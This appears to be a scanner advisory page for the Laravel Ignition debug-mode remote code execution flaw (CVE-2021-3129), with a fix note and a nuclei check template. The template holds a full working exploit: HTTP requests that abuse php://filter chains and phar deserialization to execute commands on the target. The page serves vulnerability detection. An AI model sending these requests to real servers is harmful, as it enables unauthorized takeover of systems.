Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-09-18; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.

Impact

Successful exploitation of this vulnerability can lead to remote code execution, potentially allowing an attacker to take control of the affected system.

Fix

Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability.

How to confirm it

Send: POST /_ignition/execute-solution
Positive when: contains "uid=" and "gid=" and "groups=" and "Illuminate" AND status 500

Run it with nuclei: nuclei -id CVE-2021-3129 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3129

info:
  name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution
  author: z3bd,pdteam
  severity: critical
  description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, potentially allowing an attacker to take control of the affected system.
  remediation: |
    Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability.
  reference:
    - https://www.ambionics.io/blog/laravel-debug-rce
    - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3129
    - https://github.com/facade/ignition/pull/334
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3129
    epss-score: 0.99943
    epss-percentile: 0.99972
    cpe: cpe:2.3:a:facade:ignition:*:*:*:*:*:laravel:*:*
  metadata:
    max-request: 6
    vendor: facade
    product: ignition
    framework: laravel
  tags: cve2021,cve,laravel,rce,vulhub,kev,facade,vkev,vuln

http:
  - raw:
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "Illuminate"
        condition: and

      - type: status
        status:
          - 500

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"

References

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